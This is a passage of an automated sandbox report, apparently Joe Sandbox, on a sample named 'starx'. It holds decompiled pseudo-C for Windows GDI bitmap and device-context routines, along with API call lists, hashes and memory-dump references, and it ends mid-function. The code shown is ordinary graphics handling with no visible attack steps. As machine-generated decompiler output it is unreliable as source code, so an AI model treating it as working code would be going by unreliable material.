StretchBlt.GDI32(?,00000000,00000000,?,?,00000000,?,?,?,?,00440328), ref: 0041E1AC
SetTextColor.GDI32(?,00000000), ref: 0041E1B4
SetBkColor.GDI32(?,00FFFFFF), ref: 0041E1C2
StretchBlt.GDI32(?,?,?,?,?,?,?,?,?,?,008800C6), ref: 0041E1EE
StretchBlt.GDI32(?,?,?,?,?,?,00000000,00000000,?,?,00660046), ref: 0041E213
SetTextColor.GDI32(?,?), ref: 0041E21D
SetBkColor.GDI32(?,?), ref: 0041E227
SelectObject.GDI32(?,00000000), ref: 0041E23A
DeleteObject.GDI32(?), ref: 0041E243
739EB410.GDI32(?,00000000,00000000,0041E27B,?,?,?,?,?,?,?,?,00000000,00000000,?,?), ref: 0041E265
DeleteDC.GDI32(?), ref: 0041E26E

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Object$B410$ColorSelectStretch$Delete$A520Text$A590B150Mask
String ID:
API String ID: 3348367721-0
Opcode ID: e3b8b94fbe6da46f2f7ca9972cc6f5386dc2fd254ba9a96882bbb459c2df482b
Instruction ID: 876fc2ab64f5fe0f43d79433d73c6630af8077d194d01209a536e500d799cf26
Opcode Fuzzy Hash: e3b8b94fbe6da46f2f7ca9972cc6f5386dc2fd254ba9a96882bbb459c2df482b
Instruction Fuzzy Hash: A881AAB1A00209AFDB50EF99CC81FEF77ECAB0D714F110559FA18E7281C679AD508B69

Uniqueness

Uniqueness Score: -1.00%

Function 004219CC, Relevance: 31.7, APIs: 21, Instructions: 194
windowCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E004219CC(void* __eax, long __ecx, intOrPtr __edx) {
				void* _v8;
				intOrPtr _v12;
				struct HDC__* _v16;
				struct HDC__* _v20;
				char _v21;
				void* _v28;
				void* _v32;
				intOrPtr _v92;
				intOrPtr _v96;
				int _v108;
				int _v112;
				void _v116;
				void* _t64;
				int _t65;
				intOrPtr _t66;
				long _t77;
				void* _t107;
				intOrPtr _t116;
				intOrPtr _t117;
				long _t120;
				intOrPtr _t123;
				void* _t127;
				void* _t129;
				intOrPtr _t130;

				_t127 = _t129;
				_t130 = _t129 + 0xffffff90;
				_t120 = __ecx;
				_t123 = __edx;
				_t107 = __eax;
				_v8 = 0;
				if(__eax == 0 || GetObjectA(__eax, 0x54,  &_v116) == 0) {
					return _v8;
				} else {
					E00420EC0(_t107);
					_v12 = 0;
					_v20 = 0;
					_push(_t127);
					_push(0x421bc7);
					_push( *[fs:eax]);
					 *[fs:eax] = _t130;
					_push(0);
					L004065DC();
					_v12 = E0041DE50(0);
					_push(_v12);
					L0040626C();
					_v20 = E0041DE50(_v12);
					_push(0);
					_push(1);
					_push(1);
					_push(_v108);
					_t64 = _v112;
					_push(_t64);
					L00406254();
					_v8 = _t64;
					if(_v8 == 0) {
						L17:
						_t65 = 0;
						_pop(_t116);
						 *[fs:eax] = _t116;
						_push(0x421bce);
						if(_v20 != 0) {
							_t65 = DeleteDC(_v20);
						}
						if(_v12 != 0) {
							_t66 = _v12;
							_push(_t66);
							_push(0);
							L0040681C();
							return _t66;
						}
						return _t65;
					} else {
						_v32 = SelectObject(_v20, _v8);
						if(__ecx != 0x1fffffff) {
							_push(_v12);
							L0040626C();
							_v16 = E0041DE50(_v12);
							_push(_t127);
							_push(0x421b7f);
							_push( *[fs:eax]);
							 *[fs:eax] = _t130;
							if(_v96 == 0) {
								_v21 = 0;
							} else {
								_v21 = 1;
								_v92 = 0;
								_t107 = E00421304(_t107, _t123, _t123, 0,  &_v116);
							}
							_v28 = SelectObject(_v16, _t107);
							if(_t123 != 0) {
								_push(0);
								_push(_t123);
								_push(_v16);
								L004063E4();
								_push(_v16);
								L004063B4();
								_push(0);
								_push(_t123);
								_push(_v20);
								L004063E4();
								_push(_v20);
								L004063B4();
							}
							_t77 = SetBkColor(_v16, _t120);
							_push(0xcc0020);
							_push(0);
							_push(0);
							_push(_v16);
							_push(_v108);
							_push(_v112);
							_push(0);
							_push(0);
							_push(_v20);
							L00406244();
							SetBkColor(_v16, _t77);
							if(_v28 != 0) {
								SelectObject(_v16, _v28);
							}
							if(_v21 != 0) {
								DeleteObject(_t107);
							}
							_pop(_t117);
							 *[fs:eax] = _t117;
							_push(0x421b86);
							return DeleteDC(_v16);
						} else {
							PatBlt(_v20, 0, 0, _v112, _v108, 0x42);
							if(_v32 != 0) {
								SelectObject(_v20, _v32);
							}
							goto L17;
						}
					}
				}
			}

0x004219cd
0x004219cf
0x004219d5
0x004219d7
0x004219d9
0x004219dd
0x004219e2
0x00421bd7
0x004219fc
0x004219fe
0x00421a05
0x00421a0a
0x00421a0f
0x00421a10
0x00421a15
0x00421a18
0x00421a1b
0x00421a1d
0x00421a27
0x00421a2d
0x00421a2e
0x00421a38
0x00421a3b
0x00421a3d
0x00421a3f
0x00421a44
0x00421a45
0x00421a48
0x00421a49
0x00421a4e
0x00421a55
0x00421b99
0x00421b99
0x00421b9b
0x00421b9e
0x00421ba1
0x00421baa
0x00421bb0
0x00421bb0
0x00421bb9
0x00421bbb
0x00421bbe
0x00421bbf
0x00421bc1
0x00000000
0x00421bc1
0x00421bc6
0x00421a5b
0x00421a68
0x00421a71
0x00421a92
0x00421a93
0x00421a9d
0x00421aa2
0x00421aa3
0x00421aa8
0x00421aab
0x00421ab2
0x00421ad2
0x00421ab4
0x00421ab4
0x00421aba
0x00421ace
0x00421ace
0x00421ae0
0x00421ae5
0x00421ae7
0x00421ae9
0x00421aed
0x00421aee
0x00421af6
0x00421af7
0x00421afc
0x00421afe
0x00421b02
0x00421b03
0x00421b0b
0x00421b0c
0x00421b0c
0x00421b16
0x00421b1d
0x00421b22
0x00421b24
0x00421b29
0x00421b2d
0x00421b31
0x00421b32
0x00421b34
0x00421b39
0x00421b3a
0x00421b44
0x00421b4d
0x00421b57
0x00421b57
0x00421b60
0x00421b63
0x00421b63
0x00421b6a
0x00421b6d
0x00421b70
0x00421b7e
0x00421a73
0x00421a85
0x00421b8a
0x00421b94
0x00421b94
0x00000000
0x00421b8a
0x00421a71
0x00421a55

APIs

GetObjectA.GDI32(?,00000054,?), ref: 004219EF
739EAC50.USER32(00000000,00000000,00421BC7,?,?,00000054,?), ref: 00421A1D
739EA590.GDI32(?,00000000,00000000,00421BC7,?,?,00000054,?), ref: 00421A2E
739EA410.GDI32(?,?,00000001,00000001,00000000,?,00000000,00000000,00421BC7,?,?,00000054,?), ref: 00421A49
SelectObject.GDI32(?,00000000), ref: 00421A63
PatBlt.GDI32(?,00000000,00000000,?,?,00000042), ref: 00421A85
739EA590.GDI32(?,?,00000000,?,?,00000001,00000001,00000000,?,00000000,00000000,00421BC7,?,?,00000054,?), ref: 00421A93
SelectObject.GDI32(?), ref: 00421ADB
739EB410.GDI32(?,?,00000000,?,?,00000000,00421B7F,?,?,?,00000000,?,?,00000001,00000001,00000000), ref: 00421AEE
739EB150.GDI32(?,?,?,00000000,?,?,00000000,00421B7F,?,?,?,00000000,?,?,00000001,00000001), ref: 00421AF7
739EB410.GDI32(?,?,00000000,?,?,?,00000000,?,?,00000000,00421B7F,?,?,?,00000000,?), ref: 00421B03
739EB150.GDI32(?,?,?,00000000,?,?,?,00000000,?,?,00000000,00421B7F,?,?,?,00000000), ref: 00421B0C
SetBkColor.GDI32(?), ref: 00421B16
739F97E0.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020,?,?,?,?,00000000,00421B7F), ref: 00421B3A
SetBkColor.GDI32(?,00000000), ref: 00421B44
SelectObject.GDI32(?,00000000), ref: 00421B57
DeleteObject.GDI32 ref: 00421B63
DeleteDC.GDI32(?), ref: 00421B79
SelectObject.GDI32(?,00000000), ref: 00421B94
DeleteDC.GDI32(00000000), ref: 00421BB0
739EB380.USER32(00000000,00000000,00421BCE,00000001,00000000,?,00000000,00000000,00421BC7,?,?,00000054,?), ref: 00421BC1

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Object$Select$Delete$A590B150B410Color$A410B380
String ID:
API String ID: 2498167796-0
Opcode ID: d73098e5eee604b0af10883619e66927e6a1e184b50e8d6ec90f99f2d88f795b
Instruction ID: 8b6b58c016ad29b2cddbb38999b24f2361e34691b827b52d12fd864ee9bcd16b
Opcode Fuzzy Hash: d73098e5eee604b0af10883619e66927e6a1e184b50e8d6ec90f99f2d88f795b
Instruction Fuzzy Hash: 9B513E71F00318AFDB10EBE9DC45FAEB7FCAB08704F51446AB615E7291D678A940CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00422748, Relevance: 30.1, APIs: 14, Strings: 3, Instructions: 351
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00422748(intOrPtr __eax, void* __ebx, void* __ecx, intOrPtr* __edx, void* __edi, void* __esi, char* _a4) {
				intOrPtr _v8;
				intOrPtr* _v12;
				void* _v16;
				struct HDC__* _v20;
				char _v24;
				intOrPtr* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int _v37;
				intOrPtr _v44;
				void* _v48;
				struct HDC__* _v52;
				intOrPtr _v56;
				intOrPtr* _v60;
				intOrPtr* _v64;
				short _v66;
				short _v68;
				signed short _v70;
				signed short _v72;
				void* _v76;
				intOrPtr _v172;
				char _v174;
				intOrPtr _t150;
				signed int _t160;
				intOrPtr _t163;
				void* _t166;
				void* _t174;
				void* _t183;
				signed int _t188;
				intOrPtr _t189;
				struct HDC__* _t190;
				struct HDC__* _t204;
				signed int _t208;
				signed short _t214;
				intOrPtr _t241;
				intOrPtr* _t245;
				intOrPtr _t251;
				intOrPtr _t289;
				intOrPtr _t290;
				intOrPtr _t295;
				signed int _t297;
				signed int _t317;
				void* _t319;
				void* _t320;
				signed int _t321;
				void* _t322;
				void* _t323;
				void* _t324;
				intOrPtr _t325;

				_t316 = __edi;
				_t323 = _t324;
				_t325 = _t324 + 0xffffff54;
				_t319 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				_v52 = 0;
				_v44 = 0;
				_v60 = 0;
				 *((intOrPtr*)( *_v12 + 0xc))(__edi, __esi, __ebx, _t322);
				_v37 = _v36 == 0xc;
				if(_v37 != 0) {
					_v36 = 0x28;
				}
				_v28 = E004026D4(_v36 + 0x40c);
				_v64 = _v28;
				_push(_t323);
				_push(0x422c65);
				_push( *[fs:edx]);
				 *[fs:edx] = _t325;
				_push(_t323);
				_push(0x422c38);
				_push( *[fs:edx]);
				 *[fs:edx] = _t325;
				if(_v37 == 0) {
					 *((intOrPtr*)( *_v12 + 0xc))();
					_t320 = _t319 - _v36;
					_t150 =  *((intOrPtr*)(_v64 + 0x10));
					if(_t150 != 3 && _t150 != 0) {
						_v60 = E00403240(1);
						if(_a4 == 0) {
							E00402C7C( &_v174, 0xe);
							_v174 = 0x4d42;
							_v172 = _v36 + _t320;
							_a4 =  &_v174;
						}
						 *((intOrPtr*)( *_v60 + 0x10))();
						 *((intOrPtr*)( *_v60 + 0x10))();
						 *((intOrPtr*)( *_v60 + 0x10))();
						E00415B74(_v60,  *_v60, _v12, _t316, _t320, _t320, 0);
						 *((intOrPtr*)( *_v60 + 0x14))();
						_v12 = _v60;
					}
				} else {
					 *((intOrPtr*)( *_v12 + 0xc))();
					_t251 = _v64;
					E00402C7C(_t251, 0x28);
					_t241 = _t251;
					 *(_t241 + 4) = _v72 & 0x0000ffff;
					 *(_t241 + 8) = _v70 & 0x0000ffff;
					 *((short*)(_t241 + 0xc)) = _v68;
					 *((short*)(_t241 + 0xe)) = _v66;
					_t320 = _t319 - 0xc;
				}
				_t245 = _v64;
				 *_t245 = _v36;
				_v32 = _v28 + _v36;
				if( *((short*)(_t245 + 0xc)) != 1) {
					E0041DD30();
				}
				if(_v36 == 0x28) {
					_t214 =  *(_t245 + 0xe);
					if(_t214 == 0x10 || _t214 == 0x20) {
						if( *((intOrPtr*)(_t245 + 0x10)) == 3) {
							E00415B04(_v12, 0xc, _v32);
							_v32 = _v32 + 0xc;
							_t320 = _t320 - 0xc;
						}
					}
				}
				if( *(_t245 + 0x20) == 0) {
					 *(_t245 + 0x20) = E0041DFC0( *(_t245 + 0xe));
				}
				_t317 = _v37 & 0x000000ff;
				_t257 =  *(_t245 + 0x20) * 0;
				E00415B04(_v12,  *(_t245 + 0x20) * 0, _v32);
				_t321 = _t320 -  *(_t245 + 0x20) * 0;
				if( *(_t245 + 0x14) == 0) {
					_t297 =  *(_t245 + 0xe) & 0x0000ffff;
					_t208 = E0041DFE0( *((intOrPtr*)(_t245 + 4)), 0x20, _t297);
					asm("cdq");
					_t257 = _t208 * (( *(_t245 + 8) ^ _t297) - _t297);
					 *(_t245 + 0x14) = _t208 * (( *(_t245 + 8) ^ _t297) - _t297);
				}
				_t160 =  *(_t245 + 0x14);
				if(_t321 > _t160) {
					_t321 = _t160;
				}
				if(_v37 != 0) {
					_t160 = E0041E288(_v32);
				}
				_push(0);
				L004065DC();
				_v16 = E0041DE50(_t160);
				_push(_t323);
				_push(0x422bb3);
				_push( *[fs:edx]);
				 *[fs:edx] = _t325;
				_t163 =  *((intOrPtr*)(_v64 + 0x10));
				if(_t163 == 0 || _t163 == 3) {
					if( *0x467444 == 0) {
						_push(0);
						_push(0);
						_push( &_v24);
						_push(0);
						_push(_v28);
						_t166 = _v16;
						_push(_t166);
						L00406274();
						_v44 = _t166;
						if(_v44 == 0 || _v24 == 0) {
							if(GetLastError() != 0) {
								E0040CAA0(_t245, _t257, _t317, _t321);
							} else {
								E0041DD30();
							}
						}
						_push(_t323);
						_push( *[fs:eax]);
						 *[fs:eax] = _t325;
						E00415B04(_v12, _t321, _v24);
						_pop(_t289);
						 *[fs:eax] = _t289;
						_t290 = 0x422b82;
						 *[fs:eax] = _t290;
						_push(0x422bba);
						_t174 = _v16;
						_push(_t174);
						_push(0);
						L0040681C();
						return _t174;
					} else {
						goto L27;
					}
				} else {
					L27:
					_v20 = 0;
					_v24 = E004026D4(_t321);
					_push(_t323);
					_push(0x422b1b);
					_push( *[fs:edx]);
					 *[fs:edx] = _t325;
					_t263 = _t321;
					E00415B04(_v12, _t321, _v24);
					_push(_v16);
					L0040626C();
					_v20 = E0041DE50(_v16);
					_push(1);
					_push(1);
					_t183 = _v16;
					_push(_t183);
					L00406264();
					_v48 = SelectObject(_v20, _t183);
					_v56 = 0;
					_t188 =  *(_v64 + 0x20);
					if(_t188 > 0) {
						_t263 = _t188;
						_v52 = E0041E540(0, _t188);
						_push(0);
						_push(_v52);
						_t204 = _v20;
						_push(_t204);
						L004063E4();
						_v56 = _t204;
						_push(_v20);
						L004063B4();
					}
					_push(_t323);
					_push(0x422aef);
					_push( *[fs:edx]);
					 *[fs:edx] = _t325;
					_push(0);
					_t189 = _v28;
					_push(_t189);
					_push(_v24);
					_push(4);
					_push(_t189);
					_t190 = _v20;
					_push(_t190);
					L0040627C();
					_v44 = _t190;
					if(_v44 == 0) {
						if(GetLastError() != 0) {
							E0040CAA0(_t245, _t263, _t317, _t321);
						} else {
							E0041DD30();
						}
					}
					_pop(_t295);
					 *[fs:eax] = _t295;
					_push(0x422af6);
					if(_v56 != 0) {
						_push(0xffffffff);
						_push(_v56);
						_push(_v20);
						L004063E4();
					}
					return DeleteObject(SelectObject(_v20, _v48));
				}
			}

0x00422748
0x00422749
0x0042274b
0x00422754
0x00422756
0x00422759
0x0042275e
0x00422763
0x00422768
0x00422778
0x0042277f
0x00422787
0x00422789
0x00422789
0x004227a0
0x004227a6
0x004227ab
0x004227ac
0x004227b1
0x004227b4
0x004227b9
0x004227ba
0x004227bf
0x004227c2
0x004227c9
0x00422828
0x0042282b
0x00422831
0x00422837
0x00422851
0x00422858
0x00422867
0x0042286c
0x0042287a
0x00422886
0x00422886
0x00422896
0x004228a6
0x004228ba
0x004228c9
0x004228db
0x004228e1
0x004228e1
0x004227cb
0x004227db
0x004227de
0x004227ea
0x004227ef
0x004227f5
0x004227fc
0x00422803
0x0042280b
0x0042280f
0x0042280f
0x004228e4
0x004228ea
0x004228f2
0x004228fa
0x004228fc
0x004228fc
0x00422905
0x00422907
0x0042290f
0x0042291b
0x00422928
0x0042292d
0x00422931
0x00422931
0x0042291b
0x0042290f
0x00422938
0x00422943
0x00422943
0x00422949
0x00422955
0x0042295e
0x00422970
0x00422976
0x00422978
0x00422984
0x0042298e
0x00422993
0x00422996
0x00422996
0x00422999
0x0042299e
0x004229a0
0x004229a0
0x004229a6
0x004229ab
0x004229ab
0x004229b0
0x004229b2
0x004229bc
0x004229c1
0x004229c2
0x004229c7
0x004229ca
0x004229d0
0x004229d5
0x004229e3
0x00422b22
0x00422b24
0x00422b29
0x00422b2a
0x00422b2f
0x00422b30
0x00422b33
0x00422b34
0x00422b39
0x00422b40
0x00422b4f
0x00422b58
0x00422b51
0x00422b51
0x00422b51
0x00422b4f
0x00422b5f
0x00422b65
0x00422b68
0x00422b73
0x00422b7a
0x00422b7d
0x00422b9c
0x00422b9f
0x00422ba2
0x00422ba7
0x00422baa
0x00422bab
0x00422bad
0x00422bb2
0x00000000
0x00000000
0x00000000
0x004229e9
0x004229e9
0x004229eb
0x004229f5
0x004229fa
0x004229fb
0x00422a00
0x00422a03
0x00422a09
0x00422a0e
0x00422a16
0x00422a17
0x00422a21
0x00422a24
0x00422a26
0x00422a28
0x00422a2b
0x00422a2c
0x00422a3b
0x00422a40
0x00422a46
0x00422a4b
0x00422a4d
0x00422a59
0x00422a5c
0x00422a61
0x00422a62
0x00422a65
0x00422a66
0x00422a6b
0x00422a71
0x00422a72
0x00422a72
0x00422a79
0x00422a7a
0x00422a7f
0x00422a82
0x00422a85
0x00422a87
0x00422a8a
0x00422a8e
0x00422a8f
0x00422a91
0x00422a92
0x00422a95
0x00422a96
0x00422a9b
0x00422aa2
0x00422aab
0x00422ab4
0x00422aad
0x00422aad
0x00422aad
0x00422aab
0x00422abb
0x00422abe
0x00422ac1
0x00422aca
0x00422acc
0x00422ad1
0x00422ad5
0x00422ad6
0x00422ad6
0x00422aee
0x00422aee

APIs

739EAC50.USER32(00000000,?,00000000,00422C65,?,?,?,?,?,?,004225FE,?,00000002), ref: 004229B2
739EA590.GDI32(00000001,00000000,00422B1B,?,00000000,00422BB3,?,00000000,?,00000000,00422C65,?,?), ref: 00422A17
739EA520.GDI32(00000001,00000001,00000001,00000001,00000000,00422B1B,?,00000000,00422BB3,?,00000000,?,00000000,00422C65,?,?), ref: 00422A2C
SelectObject.GDI32(?,00000000), ref: 00422A36
739EB410.GDI32(?,?,00000000,?,00000000,00000001,00000001,00000001,00000001,00000000,00422B1B,?,00000000,00422BB3,?,00000000), ref: 00422A66
739EB150.GDI32(?,?,?,00000000,?,00000000,00000001,00000001,00000001,00000001,00000000,00422B1B,?,00000000,00422BB3), ref: 00422A72
739EA7F0.GDI32(?,?,00000004,00000000,?,00000000,00000000,00422AEF,?,?,00000000,00000001,00000001,00000001,00000001,00000000), ref: 00422A96
GetLastError.KERNEL32(?,?,00000004,00000000,?,00000000,00000000,00422AEF,?,?,00000000,00000001,00000001,00000001,00000001,00000000), ref: 00422AA4
739EB410.GDI32(?,00000000,000000FF,00422AF6,00000000,?,00000000,00000000,00422AEF,?,?,00000000,00000001,00000001,00000001,00000001), ref: 00422AD6
SelectObject.GDI32(?,?), ref: 00422AE3
DeleteObject.GDI32(00000000), ref: 00422AE9

Strings

4 A, xrefs: 00422847
(, xrefs: 00422901
BM, xrefs: 0042286C

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Object$B410Select$A520A590B150DeleteErrorLast
String ID: ($4 A$BM
API String ID: 3415089252-4238807156
Opcode ID: 6f28cabdfb7985a0c8cbb631eadd5ae5650fc8638139433ff4e3815190bafce9
Instruction ID: e2fc73ced4d41f19a479c97b65b150171d2fecfdeb9bfe923458222db6cb4d7d
Opcode Fuzzy Hash: 6f28cabdfb7985a0c8cbb631eadd5ae5650fc8638139433ff4e3815190bafce9
Instruction Fuzzy Hash: D2D14F70B00218AFDF14DFA9D985BAEBBB5FF48304F40846AE905EB395D7789840CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0042BDEC, Relevance: 23.0, APIs: 15, Instructions: 468
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E0042BDEC(intOrPtr __eax, char __edx) {
				intOrPtr _v8;
				char _v9;
				intOrPtr* _v16;
				intOrPtr* _v20;
				intOrPtr* _v24;
				intOrPtr _v28;
				char _v44;
				char _v60;
				void* __edi;
				void* __ebp;
				signed int _t170;
				signed int _t176;
				void* _t209;
				void* _t213;
				intOrPtr _t218;
				intOrPtr _t241;
				void* _t254;
				void* _t325;
				void* _t345;
				void* _t361;
				void* _t368;
				intOrPtr _t382;
				intOrPtr _t388;
				struct HDC__* _t392;
				struct HDC__* _t393;
				struct HDC__* _t394;
				void* _t421;
				void* _t422;
				void* _t423;
				intOrPtr _t447;
				intOrPtr _t464;
				void* _t478;
				signed int _t486;
				void* _t491;
				void* _t493;
				void* _t495;
				intOrPtr _t496;
				void* _t506;

				_t493 = _t495;
				_t496 = _t495 + 0xffffffc8;
				_v9 = __edx;
				_v8 = __eax;
				if(_v9 == 2 &&  *(_v8 + 0x20) < 3) {
					_v9 = 0;
				}
				_t388 =  *((intOrPtr*)(_v8 + 0xc));
				if(_t388 != 0xffffffff) {
					L24:
					return _t388;
				} else {
					_t170 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v8 + 4)))) + 0x2c))();
					if((_t170 |  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v8 + 4)))) + 0x20))()) == 0) {
						goto L24;
					} else {
						_t176 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v8 + 4)))) + 0x2c))();
						asm("cdq");
						_t486 = _t176 / ( *(_v8 + 0x20) & 0x000000ff);
						_t491 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v8 + 4)))) + 0x20))();
						if( *((intOrPtr*)(_v8 + 8)) == 0) {
							_t503 =  *0x4679ac;
							if( *0x4679ac == 0) {
								 *0x4679ac = E0042BAE4(1);
							}
							_t382 =  *0x4679ac; // 0x2331db8
							 *((intOrPtr*)(_v8 + 8)) = E0042BB58(_t382, _t491, _t486);
						}
						_v16 = E00421BD8(1);
						 *[fs:eax] = _t496;
						 *((intOrPtr*)( *_v16 + 0x40))( *[fs:eax], 0x42c39b, _t493);
						 *((intOrPtr*)( *_v16 + 0x34))();
						E00412810(0, _t486, 0,  &_v44, _t491);
						E0041D258( *((intOrPtr*)(E004221A0(_v16) + 0x14)), _t486, 0xff00000f, _t486, _t493, _t503);
						E00421968( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v8 + 4)))) + 0x24))());
						 *((intOrPtr*)( *_v16 + 0x38))();
						if(_v9 >=  *(_v8 + 0x20)) {
						}
						E00412810(0 * _t486, 1 * _t486, 0,  &_v60, _t491);
						_t209 = _v9 - 1;
						_t506 = _t209;
						if(_t506 < 0) {
							L14:
							_push( &_v60);
							_t213 = E004221A0( *((intOrPtr*)(_v8 + 4)));
							E0041D4C8(E004221A0(_v16),  &_v44, _t507, _t213);
							_t218 =  *((intOrPtr*)(_v8 + 4));
							_t508 =  *((char*)(_t218 + 0x38)) - 1;
							if( *((char*)(_t218 + 0x38)) != 1) {
								 *((intOrPtr*)(_v8 + 0xc)) = E0042BA88( *((intOrPtr*)(_v8 + 8)), 0x20000000, _v16, __eflags);
							} else {
								 *((intOrPtr*)(_v8 + 0xc)) = E0042BA88( *((intOrPtr*)(_v8 + 8)),  *((intOrPtr*)(_v8 + 0x1c)), _v16, _t508);
							}
							goto L23;
						} else {
							if(_t506 == 0) {
								_v24 = 0;
								_v20 = 0;
								 *[fs:eax] = _t496;
								_v24 = E00421BD8(1);
								_v20 = E00421BD8(1);
								 *((intOrPtr*)( *_v20 + 8))( *[fs:eax], 0x42c35f, _t493);
								 *((intOrPtr*)( *_v20 + 0x6c))();
								_t241 = _v8;
								__eflags =  *((char*)(_t241 + 0x20)) - 1;
								if( *((char*)(_t241 + 0x20)) <= 1) {
									 *((intOrPtr*)( *_v24 + 8))();
									 *((intOrPtr*)( *_v24 + 0x6c))();
									E0041D258( *((intOrPtr*)(E004221A0(_v24) + 0x14)),  *_v24, 0, _t486, _t493, __eflags);
									_t415 =  *_v24;
									 *((intOrPtr*)( *_v24 + 0x40))();
									_t254 = E0042225C(_v24);
									__eflags = _t254;
									if(_t254 != 0) {
										E0041CA8C( *((intOrPtr*)(E004221A0(_v24) + 0xc)), 0xffffff);
										__eflags = 0;
										E00422F70(_v24, 0);
										E0041D258( *((intOrPtr*)(E004221A0(_v24) + 0x14)), _t415, 0xffffff, _t486, _t493, __eflags);
									}
									E00422F70(_v24, 1);
									_t391 = E004221A0(_v16);
									E0041D258( *((intOrPtr*)(_t258 + 0x14)), _t415, 0xff00000f, _t486, _t493, __eflags);
									E0041D5FC(_t258,  &_v44);
									E0041D258( *((intOrPtr*)(_t258 + 0x14)), _t415, 0xff000014, _t486, _t493, __eflags);
									SetTextColor(E0041DA58(_t391), 0);
									SetBkColor(E0041DA58(_t391), 0xffffff);
									_push(0xe20746);
									_push(0);
									_push(0);
									_push(E0041DA58(E004221A0(_v24)));
									_push(_t491);
									_push(_t486);
									_push(1);
									_push(1);
									_push(E0041DA58(_t391));
									L00406244();
									E0041D258( *((intOrPtr*)(_t391 + 0x14)), _t415, 0xff000010, _t486, _t493, __eflags);
									SetTextColor(E0041DA58(_t391), 0);
									SetBkColor(E0041DA58(_t391), 0xffffff);
									_push(0xe20746);
									_push(0);
									_push(0);
									_push(E0041DA58(E004221A0(_v24)));
									_push(_t491);
									_push(_t486);
									_push(0);
									_push(0);
									_push(E0041DA58(_t391));
									L00406244();
								} else {
									_v28 = E004221A0(_v16);
									E004221A0(_v20);
									E0041D4C8(_v28,  &_v44, __eflags,  &_v60);
									E00422F70(_v24, 1);
									 *((intOrPtr*)( *_v24 + 0x40))();
									 *((intOrPtr*)( *_v24 + 0x34))();
									E0041D258( *((intOrPtr*)(E004221A0(_v20) + 0x14)),  *_v24, 0xffffff, _t486, _t493, __eflags);
									_push( &_v60);
									_push(E004221A0(_v20));
									_t325 = E004221A0(_v24);
									_pop(_t421);
									E0041D4C8(_t325,  &_v44, __eflags);
									E0041D258( *((intOrPtr*)(_v28 + 0x14)), _t421, 0xff000014, _t486, _t493, __eflags);
									_t392 = E0041DA58(_v28);
									SetTextColor(_t392, 0);
									SetBkColor(_t392, 0xffffff);
									_push(0xe20746);
									_push(0);
									_push(0);
									_push(E0041DA58(E004221A0(_v24)));
									_push(_t491);
									_push(_t486);
									_push(0);
									_push(0);
									_push(_t392);
									L00406244();
									E0041D258( *((intOrPtr*)(E004221A0(_v20) + 0x14)), _t421, 0x808080, _t486, _t493, __eflags);
									_push( &_v60);
									_push(E004221A0(_v20));
									_t345 = E004221A0(_v24);
									_pop(_t422);
									E0041D4C8(_t345,  &_v44, __eflags);
									E0041D258( *((intOrPtr*)(_v28 + 0x14)), _t422, 0xff000010, _t486, _t493, __eflags);
									_t393 = E0041DA58(_v28);
									SetTextColor(_t393, 0);
									SetBkColor(_t393, 0xffffff);
									_push(0xe20746);
									_push(0);
									_push(0);
									_push(E0041DA58(E004221A0(_v24)));
									_push(_t491);
									_push(_t486);
									_push(0);
									_push(0);
									_push(_t393);
									L00406244();
									_push(E0041C5CC( *((intOrPtr*)(_v8 + 0x1c))));
									_t361 = E004221A0(_v20);
									_pop(_t478);
									E0041D258( *((intOrPtr*)(_t361 + 0x14)), _t422, _t478, _t486, _t493, __eflags);
									_push( &_v60);
									_push(E004221A0(_v20));
									_t368 = E004221A0(_v24);
									_pop(_t423);
									E0041D4C8(_t368,  &_v44, __eflags);
									E0041D258( *((intOrPtr*)(_v28 + 0x14)), _t423, 0xff00000f, _t486, _t493, __eflags);
									_t394 = E0041DA58(_v28);
									SetTextColor(_t394, 0);
